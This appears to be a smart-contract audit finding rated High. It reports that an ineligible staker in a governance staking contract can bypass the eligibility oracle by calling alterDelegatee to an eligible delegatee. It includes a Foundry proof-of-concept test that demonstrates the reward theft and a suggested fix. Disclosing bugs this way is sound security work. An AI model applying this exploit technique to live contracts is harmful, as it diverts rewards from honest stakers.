Able Boysenberry Koala
High
When a inelegible user with a score below the threshold, alters the delegatee to another user that is elegible, it will calculate his new earning power based on the score of the other delegatee. Meaning return the balance of the deposit as earning power OR if that delegatee is inelegible return 0. code
uint256 _newEarningPower =
earningPowerCalculator.getEarningPower(deposit.balance, deposit.owner, _newDelegatee);
function getEarningPower(uint256 _amountStaked, address, /* _staker */ address _delegatee)
external
view
returns (uint256)
{
if (_isOracleStale() || isOraclePaused) return _amountStaked;
return _isDelegateeEligible(_delegatee) ? _amountStaked : 0;
}
Afterwards it sets the new earning power to this deposit.
deposit.earningPower = _newEarningPower.toUint96();
Additionally this earning power cannot be bumped down.
due to the condition _newEarningPower == deposit.earningPower
in bumpEarningPower
being true causing a revert.
While a user is not elegible to receive rewards, it can delegate to another user to receive rewards which undermines entire functionality of a earning score.
Other users receive lower rewards while a person that in not elegible receive rewards.
Add the following contract to the existing test file GovernanceStaker.t.sol
and run it with forge test --mt testByPassOracle
contract JoeMamaTest is GovernanceStakerTest {
address owner = makeAddr("owner");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address joe = makeAddr("joe");
address scoreOracle = makeAddr("scoreOracle");
uint256 staleOracleWindow = 7 days;
address oraclePauseGuardian = makeAddr("oraclePauseGuardian");
uint256 delegateeScoreEligibilityThreshold = 400;
uint256 updateEligibilityDelay = 1 days;
BinaryEligibilityOracleEarningPowerCalculator calculator = new BinaryEligibilityOracleEarningPowerCalculator(
owner,
scoreOracle,
staleOracleWindow,
oraclePauseGuardian,
delegateeScoreEligibilityThreshold,
updateEligibilityDelay
);
function testByPassOracle(
) public {
_mintGovToken(alice, 1e18);
_mintGovToken(bob, 1e18);
_mintGovToken(joe, 1e18);
rewardToken.mint(rewardNotifier, 1e18);
vm.prank(admin);
govStaker.setEarningPowerCalculator(address(calculator));
// set alice to elegible
vm.prank(scoreOracle);
calculator.updateDelegateeScore(alice, 500);
// set bob to elegible
vm.prank(scoreOracle);
calculator.updateDelegateeScore(bob, 500);
// set joe is not elegible
vm.prank(scoreOracle);
calculator.updateDelegateeScore(joe, 0);
// have an active oracle.
vm.prank(scoreOracle);
calculator.updateDelegateeScore(address(0), 0);
GovernanceStaker.DepositIdentifier _depositIdBob = _stake(bob, 1e18, bob);
GovernanceStaker.DepositIdentifier _depositIdAlice = _stake(alice, 1e18, alice);
GovernanceStaker.DepositIdentifier _depositIdJoe = _stake(joe, 1e18, joe);
// distribute 1e18 over the 1 month period.
vm.startPrank(rewardNotifier);
rewardToken.transfer(address(govStaker), 1e18);
govStaker.notifyRewardAmount(1e18);
vm.stopPrank();
// have an active oracle.
vm.prank(scoreOracle);
calculator.updateDelegateeScore(address(0), 0);
vm.prank(joe);
govStaker.alterDelegatee(_depositIdJoe,bob);
skip(30 days);
vm.roll(block.timestamp + 30);
// have an active oracle.
vm.prank(scoreOracle);
calculator.updateDelegateeScore(address(0), 0);
vm.prank(bob);
uint256 rewardBob = govStaker.claimReward(_depositIdBob);
assertEq(rewardBob,333333333333333333);
vm.prank(alice);
uint256 rewardALice = govStaker.claimReward(_depositIdAlice);
assertEq(rewardALice, 333333333333333333);
// this should be 0 because Joe has no voting power.
vm.prank(joe);
uint256 rewardJoe = govStaker.claimReward(_depositIdJoe);
assertEq(rewardJoe, 333333333333333333);
}
}
Manual Review
To prevent users from bypassing the oracle it should not increase the deposits earning power while altering delegatee.